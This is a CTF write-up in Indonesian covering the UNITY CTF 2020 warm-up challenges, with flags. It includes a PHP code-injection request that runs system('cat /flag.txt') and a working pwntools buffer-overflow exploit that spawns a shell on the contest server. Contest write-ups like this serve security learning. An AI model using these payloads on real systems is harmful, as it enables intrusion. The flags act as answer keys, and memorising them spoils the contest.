Solver Warm-up UNITY CTF 2020

- ## Misc

Flag : UNITYCTF2020{some_l33t_string}

- ## Forensic

```
fedra@pwning:~$ tshark -r find.pcap -T fields -e data -Y icmp.type==8 |
cut -c47-48 | tr -d '\n' | xxd -r -p
UNITY2020{Y000U_F1nd_M33ee3}
```

Flag : UNITY2020{Y000U_F1nd_M33ee3}

- ## Web

Panjang karakter tidak boleh lebih dari 15, tidak boleh ada spasi, kata sys,file,exec,pass dan tidak boleh ada kutip

```
fedra@pwning:~$ curl
"http://35.192.113.20:1000/?p=eval(\$_GET\[0\]);&0=system(%27cat%20/flag
.txt%27);"
UNITYCTF2020{Web_weeb_weebs_weaboo}
```

Flag : UNITYCTF2020{Web_weeb_weebs_weaboo}

- ## Reverse

```
  printf("[+] Flag : ", argv, envp);
  __isoc99_scanf("%s", s);
  for ( i = 0; i < strlen(s); ++i )
  {
    if ( (i ^ s[i]) != *(&v6 + i) )
    {
      puts("[-] Wrong!");
      result = -1;
      goto LABEL_7;
    }
  }
```

Input user jika di xor dengan nilai i pada looping nilai nya harus sama dengan *(&v6 + i)

```
fedra@pwning:~$ python -c 'print "".join(chr(i^j) for i,j in
enumerate((0x55,0x4f,0x4b,0x57,0x5d,0x37,0x36,0x35,0x38,0x72,0x58,0x38,0
x3f,0x3e,0x78,0x6a,0x75,0x74,0x60,0x60,0x67,0x70,0x73,0x72,0x5d,0x5c,0x2
9,0x28,0x58,0x59,0x5a,0x62)))'
UNITY2020{R333veeersseeeEE33DDD}
```

Flag : UNITY2020{R333veeersseeeEE33DDD}

- ## PWN

Disassembly Main :

```
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  printf("[+] 1 + 1 = ", 0LL);
  gets(&v4);
  puts("[+] Wah, Sungguh pintar sekali");
  return 0;
```

Terdapat celah buffer overflow karena menggunakan fungsi gets, disassembly __rsp

```
gdb-peda$ pdisass __rsp
Dump of assembler code for function __rsp:
   0x0000000000400637 <+0>:     push   rbp
   0x0000000000400638 <+1>:     mov    rbp,rsp
   0x000000000040063b <+4>:     jmp    rsp
   0x000000000040063d <+6>:     nop
   0x000000000040063e <+7>:     pop    rbp
   0x000000000040063f <+8>:     ret
End of assembler dump.
gdb-peda$
```

0x000000000040063b bisa di pake sebagai return address untuk mengarahkan program untuk mengeksekusi rsp, exploit :

```
#!/usr/bin/env python

from pwn import *

context(os="linux", arch="amd64")
p = remote("35.192.113.20", 31337)

payload = ""
payload += "\x90" * 136
payload += p64(0x000000000040063b)
payload += asm(shellcraft.sh())

p.recvuntil("[+] 1 + 1 = ")
p.sendline(payload)
p.interactive()
```

Flag: UNITY2020{P000W3NNNNEEEERRRRDDD!!!!!}

- ## Dukun

Flag : UNITYCTF2020{FLAG}